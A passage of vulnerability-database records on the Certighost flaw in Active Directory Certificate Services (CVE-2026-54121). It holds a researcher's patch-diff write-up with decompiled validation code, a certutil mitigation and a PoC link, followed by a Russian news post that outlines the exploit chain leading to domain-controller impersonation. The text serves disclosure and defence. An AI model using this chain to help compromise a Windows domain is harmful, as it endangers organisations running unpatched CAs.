|\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-28T12:48:41.881330Z"}, {"uuid": "64140702-76ec-4630-9b62-0016760223c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mrpiawxpkg2v", "content": "Detection Opportunities for Certighost (CVE-2026-54121)", "creation_timestamp": "2026-07-28T13:09:51.298784Z"}, {"uuid": "eaba1a2d-e3ed-4890-aa07-67f92f0c5dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/true_secator/8448", "content": "\u0412\u044b\u0448\u0435\u043b PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Windows Active Directory, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043c\u0435\u043d Windows.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-54121 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory (AD CS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 AD CS.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Microsoft, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PKINIT.\n\n\u0415\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430, \u043e\u043d \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 Active Directory.\n\n\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043a \u043a\u0430\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Active Directory \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0434\u0430\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Kerberos.\n\nCertighost \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 AD CS \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u043f\u043e\u0433\u043e\u043d\u0435\u0439\u00bb (chase), \u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430:\n\n- cdc\u0438\u043b\u0438 Client DC \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438;\n- rmd, \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043a\u0430\u0442\u044c.\n\n\u0415\u0441\u043b\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u044b \u043e\u0431\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430, \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438\u00a0cdc, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u00a0rmd.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u043d\u0435\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c\u00a0cdc \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b SMB, LSA \u0438 LDAP, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0430\u0448\u0438\u043d\u044b.\n\n\u0412 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043c\u0430\u0448\u0438\u043d\u044b, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 ms-DS-MachineAccountQuota.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0446\u0435\u043d\u0442\u0440\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (\u0426\u0421) \u043a \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0426\u0421 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043e\u043d \u0432\u044b\u0434\u0430\u0435\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Active Directory.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 H0j3n \u0438 Aniq Fakhrul \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft 14 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0435 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f certighost.py \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 PKINIT \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 